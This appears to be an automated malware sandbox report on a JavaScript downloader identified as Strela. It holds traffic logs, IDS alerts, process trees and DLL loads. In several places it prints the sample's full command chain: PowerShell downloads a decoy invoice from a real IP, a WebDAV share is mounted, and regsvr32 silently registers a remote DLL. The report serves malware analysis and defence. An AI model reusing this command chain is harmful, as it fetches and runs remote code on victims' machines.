42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49722

Source: global traffic

TCP traffic: 192.168.2.7:49722 -> 193.143.1.205:8888

Source: global traffic	TCP traffic: 192.168.2.7:61692 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.7:64798 -> 162.159.36.2:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49710 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org
Source: global traffic	DNS traffic detected: DNS query: 206.23.85.13.in-addr.arpa

Source: wscript.exe, 00000001.00000002.1329690767.00000200262D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000008.00000002.1388472109.00000220F5338000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1388472109.00000220F536C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1388472109.00000220F538C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: svchost.exe, 0000000A.00000002.2605362921.000001BC57EB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.9.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.10.dr, qmgr.db.10.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.9.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.10.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000A.00000003.1376717862.000001BC57CB0000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr, qmgr.db.10.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: qmgr.db.10.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: ReaderMessages.6.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7448, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15801418521114.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15801418521114.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 2835523725329532164.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/59@2/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7888

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7544:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1l0kp04n.dtk.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2835523725329532164.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15801418521114.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1608,i,2018066651956470548,2699401686633846436,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15801418521114.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1608,i,2018066651956470548,2699401686633846436,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
